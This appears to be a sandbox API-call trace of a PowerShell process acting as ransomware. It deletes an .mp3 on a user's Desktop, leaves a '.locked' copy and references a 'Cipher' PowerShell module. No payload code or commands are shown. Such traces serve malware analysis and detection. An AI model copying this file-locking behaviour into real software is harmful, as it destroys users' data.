[0127.697] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\C0E9wIGvGzF-.mp3", nBufferLength=0x105, lpBuffer=0x99adf18, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\C0E9wIGvGzF-.mp3", lpFilePart=0x0) returned 0x2e [0127.697] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3d8) returned 1 [0127.697] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\C0E9wIGvGzF-.mp3", nBufferLength=0x105, lpBuffer=0x99adee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\C0E9wIGvGzF-.mp3", lpFilePart=0x0) returned 0x2e [0127.697] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\C0E9wIGvGzF-.mp3\\", nBufferLength=0x105, lpBuffer=0x99adeb4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\C0E9wIGvGzF-.mp3\\", lpFilePart=0x0) returned 0x2f [0127.697] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\C0E9wIGvGzF-.mp3\\*", lpFindFileData=0x99ae100 | out: lpFindFileData=0x99ae100) returned 0xffffffff [0127.697] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae39c) returned 1 [0127.697] CoTaskMemAlloc (cb=0x404) returned 0x8ebb8c8 [0127.697] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x8ebb8c8, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0127.697] CoTaskMemFree (pv=0x8ebb8c8) [0127.698] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\C0E9wIGvGzF-.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\c0e9wigvgzf-.mp3")) returned 0x20 [0127.698] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\C0E9wIGvGzF-.mp3", nBufferLength=0x105, lpBuffer=0x99adea4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\C0E9wIGvGzF-.mp3", lpFilePart=0x0) returned 0x2e [0127.698] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\C0E9wIGvGzF-.mp3", nBufferLength=0x105, lpBuffer=0x99ade20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\C0E9wIGvGzF-.mp3", lpFilePart=0x0) returned 0x2e [0127.698] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae2fc) returned 1 [0127.698] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\C0E9wIGvGzF-.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\c0e9wigvgzf-.mp3"), fInfoLevelId=0x0, lpFileInformation=0x69e4258 | out: lpFileInformation=0x69e4258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b43d4b0, ftCreationTime.dwHighDateTime=0x1d4a480, ftLastAccessTime.dwLowDateTime=0xe09ceff0, ftLastAccessTime.dwHighDateTime=0x1d4acb0, ftLastWriteTime.dwLowDateTime=0xe09ceff0, ftLastWriteTime.dwHighDateTime=0x1d4acb0, nFileSizeHigh=0x0, nFileSizeLow=0x8c0)) returned 1 [0127.698] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae2f8) returned 1 [0127.698] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\C0E9wIGvGzF-.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\c0e9wigvgzf-.mp3")) returned 1 [0127.700] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5b8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5b8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1a, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.700] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae254, nSize=0x100 | out: lpBuffer="\xda00\x8df") returned 0x0 [0127.700] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae62c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae62c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1b, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.700] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae58c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae58c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1a, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.700] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1b, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1b, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.701] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\C0E9wIGvGzF-.mp3.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\c0e9wigvgzf-.mp3.locked")) returned 0x20 [0127.701] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\C0E9wIGvGzF-.mp3.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\c0e9wigvgzf-.mp3.locked")) returned 0x20 [0127.701] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\C0E9wIGvGzF-.mp3.locked", nBufferLength=0x105, lpBuffer=0x99adf0c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\C0E9wIGvGzF-.mp3.locked", lpFilePart=0x0) returned 0x35 [0127.701] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\C0E9wIGvGzF-.mp3.locked", nBufferLength=0x105, lpBuffer=0x99aded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\C0E9wIGvGzF-.mp3.locked", lpFilePart=0x0) returned 0x35 [0127.702] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5b8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5b8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1b, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.702] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\C0E9wIGvGzF-.mp3", nBufferLength=0x105, lpBuffer=0x99ae14c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\C0E9wIGvGzF-.mp3", lpFilePart=0x0) returned 0x2e [0127.702] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae254, nSize=0x100 | out: lpBuffer="") returned 0x0 [0127.702] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae62c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae62c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1c, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.702] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae58c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae58c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1b, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.702] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1c, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1c, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.704] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5b8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5b8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1c, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.705] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae254, nSize=0x100 | out: lpBuffer="") returned 0x0 [0127.705] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae62c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae62c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1d, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.705] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae58c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae58c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1c, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.705] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1d, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1d, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.707] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5b8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5b8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1d, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.708] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae254, nSize=0x100 | out: lpBuffer="") returned 0x0 [0127.708] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae62c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae62c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1e, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.708] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae58c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae58c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1d, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.708] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1e, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1e, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.709] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5b8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5b8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1e, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.710] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae254, nSize=0x100 | out: lpBuffer="") returned 0x0 [0127.710] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae62c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae62c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1f, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.710] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae58c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae58c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1e, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.710] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1f, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1f, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.712] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5b8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5b8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1f, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.713] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae254, nSize=0x100 | out: lpBuffer="") returned 0x0 [0127.713] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae62c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae62c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x20, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.713] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae58c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae58c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1f, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.713] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x20, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x20, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.714] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5b8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5b8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x20, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.716] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99add48) returned 1 [0127.716] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\C0E9wIGvGzF-.mp3.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\c0e9wigvgzf-.mp3.locked"), fInfoLevelId=0x0, lpFileInformation=0x69f25c8 | out: lpFileInformation=0x69f25c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5538e7, ftCreationTime.dwHighDateTime=0x1d4bf19, ftLastAccessTime.dwLowDateTime=0xf5538e7, ftLastAccessTime.dwHighDateTime=0x1d4bf19, ftLastWriteTime.dwLowDateTime=0xf579c16, ftLastWriteTime.dwHighDateTime=0x1d4bf19, nFileSizeHigh=0x0, nFileSizeLow=0x8e4)) returned 1 [0127.716] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99add44) returned 1 [0127.717] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\C0E9wIGvGzF-.mp3.locked", nBufferLength=0x105, lpBuffer=0x99ad824, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\C0E9wIGvGzF-.mp3.locked", lpFilePart=0x0) returned 0x35 [0127.717] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\C0E9wIGvGzF-.mp3.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\c0e9wigvgzf-.mp3.locked"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x868 [0127.717] GetFileInformationByHandle (in: hFile=0x868, lpFileInformation=0x99add90 | out: lpFileInformation=0x99add90) returned 1 [0127.717] CloseHandle (hObject=0x868) returned 1 [0127.719] GetConsoleOutputCP () returned 0x1b5 [0127.719] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae250, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae250) returned 0 [0127.719] GetConsoleOutputCP () returned 0x1b5 [0127.720] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2e8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2e8) returned 0 [0127.720] GetConsoleOutputCP () returned 0x1b5 [0127.720] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c4) returned 0 [0127.720] GetConsoleOutputCP () returned 0x1b5 [0127.720] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c4) returned 0 [0127.720] GetConsoleOutputCP () returned 0x1b5 [0127.721] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae250, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae250) returned 0 [0127.721] GetConsoleOutputCP () returned 0x1b5 [0127.721] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2e8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2e8) returned 0 [0127.721] GetConsoleOutputCP () returned 0x1b5 [0127.721] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c4) returned 0 [0127.721] GetConsoleOutputCP () returned 0x1b5 [0127.721] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c4) returned 0 [0127.721] GetConsoleOutputCP () returned 0x1b5 [0127.722] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae250, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae250) returned 0 [0127.722] GetConsoleOutputCP () returned 0x1b5 [0127.722] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2e8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2e8) returned 0 [0127.722] GetConsoleOutputCP () returned 0x1b5 [0127.723] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c4) returned 0 [0127.723] GetConsoleOutputCP () returned 0x1b5 [0127.723] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c4) returned 0 [0127.723] GetConsoleOutputCP () returned 0x1b5 [0127.723] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae250, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae250) returned 0 [0127.723] GetConsoleOutputCP () returned 0x1b5 [0127.723] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2e8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2e8) returned 0 [0127.724] GetConsoleOutputCP () returned 0x1b5 [0127.724] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c4) returned 0 [0127.724] GetConsoleOutputCP () returned 0x1b5 [0127.724] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c4) returned 0 [0127.724] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae38c | out: lpConsoleScreenBufferInfo=0x99ae38c) returned 1 [0127.724] GetConsoleOutputCP () returned 0x1b5 [0127.725] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae328, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae328) returned 0 [0127.725] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae394 | out: lpMode=0x99ae394) returned 1 [0127.725] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6a19310*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae38c, lpReserved=0x0 | out: lpBuffer=0x6a19310*, lpNumberOfCharsWritten=0x99ae38c*=0x77) returned 1 [0127.725] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae394 | out: lpMode=0x99ae394) returned 1 [0127.726] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae38c, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae38c*=0x2) returned 1 [0127.730] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee08*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee08*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x20, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.730] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aee6c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x12, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aee6c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x12, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.770] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99aeaa4, nSize=0x100 | out: lpBuffer="\xa600\x69b\xa620\x69b\xa5d8\x69b\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\xce08\x686\x92e4\x68d\x4024\x679\xd700\x686\x9400\x68d\x2eb7\x73ad\xebd8\x99a\x3e98\x7405\xffff\xffff\x443e\x73b8\x446c\x73b8\xde1c\x664\x1082\x73b6\xbab0\x42f\x108e\x73b6\x2ddc\x73ad\xec0c\x99a\xde1c\x664\x04") returned 0x0 [0127.770] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae780, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0127.770] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aee7c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee7c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x21, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.770] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeddc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeddc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x12, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.770] 